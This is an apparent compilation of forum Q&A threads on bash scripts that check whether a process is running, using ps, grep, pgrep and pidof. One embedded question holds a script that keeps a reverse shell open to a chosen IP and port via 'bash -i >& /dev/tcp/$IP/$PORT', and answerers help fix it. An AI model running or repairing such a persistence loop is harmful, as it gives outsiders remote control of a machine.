I Have made a simple script which checks if the service is running and returning a exit code, but I cant make it work. Exit 0 if it works, and 1 if it doesn't.
#!/bin/bash
#Plugin for checking if the SSH service is running
SERVICE='ssh'
if [ ps aux | grep -v grep | grep $SERVICE > /dev/null ];
then
exit 0
else
exit 1
fi
The if statement can be replaced with simply
ps aux | grep -v grep | grep -q "$SERVICE"
The exit status of the pipeline is 0 if grep -q succeeds (i.e., matches ssh), and 1 otherwise. If this is the last line of the script, the exit status of the shell will be the same: no need for an explicit call to exit.
This is the cause of the problem:
if [ ps aux | grep -v grep | grep $SERVICE > /dev/null ];
The syntax of an if statement: if list; then ... (ref)
if chooses which branch to execute based on the exit status of the list
A list is basically a pipeline of commands (ref)
You are using the [ command -- yes, it's a command not just syntax. The [ command has specific requirements for the arguments it accepts (ref)
[ does not like the arguments you gave it.
You want to do this
if ps aux | grep -v grep | grep $SERVICE > /dev/null; then
or, better, take chepner's advice and accept his answer.
Related
So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.
Good Morning,
Context :
I would like to check every minute if a python script is running. In my cron, i call a script. The script's goal is to check if the process is running.
My script :
#!/bin/bash
DIR="path/to/directory"
CMD="python3 -u $DIR/script.py -arg1 $DIR/arg1 -arg2 $DIR/arg2 -arg3 $DIR/arg3"
if [ ! $(ps aux | grep 'my_pattern' | grep -v 'color')]
then
echo "Success"
"$CMD" > /dev/null
fi
With this script i want to grep the process and inverse the grep to exclude the color process. If the process is running, the command (ps aux | grep 'my_pattern' | grep -v 'color')returns me something if not, the command returns me nothing.
The error is ./script.sh: line 12: [!myuser+ : Untraceable command
The execution of the command did not returns me the result of the command but the process number of my command like if i did a ps aux of my command.
If it's not clear, please ask, difficult for me to translate the issue.
Thank you for answering.
EDIT : I HAVE APPLY the ocndition like this :
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
Now i don't have any errors but it never enter in my if condition.
With
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
(mind the typo as shown by klashxx)
you can check if the variable is empty.
So instead of using "!", i think it's more appropriate and effective to check if the grepping of ps aux is returning an empty string or not.
Let me know if this helped you or not.
EDITED: corrected '[' to '[['
EDITED AGAIN: for other users to know, if u need to check the existance of a process with this method append ! before -z flag to see if it is NOT empty
I have the following if statement to check if a service, newrelic-daemon in this case, is running...
if [ $(ps -ef | grep -v grep | grep newrelic-daemon | wc -l) > 0 ]; then
echo "New Relic is already running."
The problem is it's always returning as true, i.e. "New Relic is already running". Even though when I run the if condition separately...
ps -ef | grep -v grep | grep newrelic-daemon | wc -l
... it returns 0. I expect it to do nothing here as the value returned is =0 but my IF condition says >0.
Am I overlooking something here?
You are trying to do a numeric comparison in [...] with >. That doesn't work; to compare values as numbers, use -gt instead:
if [ "$(ps -ef | grep -v grep | grep -c newrelic-daemon)" -gt 0 ]; then
The quotation marks around the command expansion prevent a syntax error if something goes horribly wrong (e.g. $PATH set wrong and the shell can't find grep). Since you tagged this bash specifically, you could also just use [[...]] instead of [...] and do without the quotes.
As another Bash-specific option, you could use ((...)) instead of either form of square brackets. This version is more likely to generate a syntax error if anything goes wrong (as the arithmetic expression syntax really wants all arguments to be numbers), but it lets you use the more natural comparison operators:
if (( "$(ps -ef | grep -v grep | grep -c newrelic-daemon)" > 0 )); then
In both cases I used grep -c instead of grep | wc -l; that way I avoided an extra process and a bunch of interprocess I/O just so wc can count lines that grep is already enumerating.
But since you're just checking to see if there are any matches at all, you don't need to do either of those; the last grep will exit with a true status if it finds anything and false if it doesn't, so you can just do this:
if ps -ef | grep -v grep | grep -q newrelic-daemon; then
(The -q keeps grep from actually printing out the matching lines.)
Also, if the process name you're looking for is a literal string instead of a variable, my favorite trick for this task is to modify that string like this, instead of piping through an extra grep -v grep:
if ps -ef | grep -q 'newrelic[-]daemon'; then
You can pick any character to put the square brackets around; the point is to create a regular expression pattern that matches the target process name but doesn't match the pattern itself, so the grep process doesn't find its own ps line.
Finally, since you tagged this linux, note that most Linux distros ship with a combination ps + grep command called pgrep, which does this for you without your having to build a pipeline:
if pgrep newrelic-daemon >/dev/null; then
(The MacOS/BSD version of pgrep accepts a -q option like grep, which would let you do without the >/dev/null redirect, but the versions I've found on Linux systems don't seem to have that option.)
There's also pidof; I haven't yet encountered a system that had pidof without pgrep, but should you come across one, you can use it the same way:
if pidof newrelic-daemon >/dev/null; then
Other answers have given you more details. I would do what you are trying to do with:
if pidof newrelic-daemon >/dev/null; then
echo "New Relic is already running."
fi
or even
pidof newrelic-daemon >/dev/null && echo "New Relic is already running."
If you want to compare integers with test you have to use the -gt option. See:
man test
or
man [
#Stephen: Try(change [ to [[ into your code along with fi which will complete the if block completely):
if [[ $(ps -ef | grep -v grep | grep newrelic-daemon | wc -l) > 0 ]]; then
echo "New Relic is already running."
fi
I am trying to find out of two process are running in linux where my oracle is installed pmon and smon
i used below command for it
ps -ae | grep pmon > /dev/null;echo $?
and
ps -ae | grep smon > /dev/null;echo $?
now i want to optimize both commands in to single
i know there is option in grep as below
ps -ae | grep 'pmon\|smon' > /dev/null;echo $?
but problem here is if any of process running it returns 0 error code
but i want an AND based search instead. Command should return 0 only if both process running.
I would suggest you used something like this:
if ps -ae | grep -q pmon && ps -ae | grep -q smon; then
echo "pmon and smon are running"
fi
The -q switch to grep prevents any output so you don't have to redirect to /dev/null yourself. If you have pgrep, you may be able to use that instead of piping ps to grep.
Of course, you could "optimise" this onto one line, optionally using another && instead of an if but I really don't see the advantage!
You can try this:
pgrep pmon > /dev/null && pgrep smon > /dev/null; echo $?
or
pgrep pmon > /dev/null && pgrep smon > /dev/null && echo both running
Try this :
ps -ae | egrep 'pmon,smon'
I am trying to automatically check if a process is running or not and have to perform next steps accordingly. I had written a bash script but it doesn't seem to work.
if ps aux | grep [M]yProcessName > /dev/null
then
echo "Running"
else
echo "Not running"
fi
Is my if statement wrongly used?
You don't want to know if a particular process (of known pid) is running (this can be done by testing if /proc/1234/ exists for pid 1234) but if some process is running a given command (or a given executable).
Notice that the kill(2) syscall can be portably used to check if a given process is running (with a 0 signal, e.g. kill(pid,0)). From inside a program, this is a common way to check that a process of known pid is still existing and running (or waiting).
You could use the pidof command to find the processes running some executable, e.g. pidof zsh to find all the zsh processes. You could also use killall -s 0 zsh
And you might be interested by the pgrep utility and the /proc filesystem.
ps aux | grep [M]yProcessName | grep -v grep
Using -z to check if a string is empty or not, something like this could work:
line=$(ps aux | grep [M]yProcessName)
if [ -z "$line" ]
then
echo "Not Running"
else
echo $line > /dev/null
echo "Rinnung"
fi
There is a solution:
if [ "$(ps aux | grep "what you need" | awk '{print $11}')" == "grep" ]; then ... elif [ ... ]; then ... else ... fi
This works fine in Debian 6. '{print $11}' is needed, because the sytem treats grep as a process as well
processid =$(ps aux | grep 'ProcessName' | grep -v grep| awk '{print $2}')
The above command will give you the process id. Assign that process id to a variable and do this -->
if cat /proc/$processid/status | grep "State: R (running)" > /dev/null
then
echo "Running"
else
echo "Not running"
fi
SMBD=$(pidof smbd)
if [ "$SMBD" == "" ];
then
/etc/init.d/samba start;
else
/etc/init.d/samba restart;
fi
On my system, ps aux | grep ProcessName always get a line of that grep process like:
edw4rd 9653 0.0 0.0 4388 832 pts/1 S+ 21:09 0:00 grep --color=auto ProcessName
So, the exit status is always 0. Maybe that's why your script doesn't work.
return 0 means success while others failed
kill -0 `pid`; echo $?
Just to explicitly mention a way this answer alluded to, pgrep is the best way to do this by process name:
pgrep [M]yProcessName
If a process whose name matches "[M]yProcessName" is running, pgrep will print its PID to stdout and will exit with code 0. Otherwise, it will print nothing and exit with code 1.
try this
ps aux | grep [M]yProcessName | grep -v grep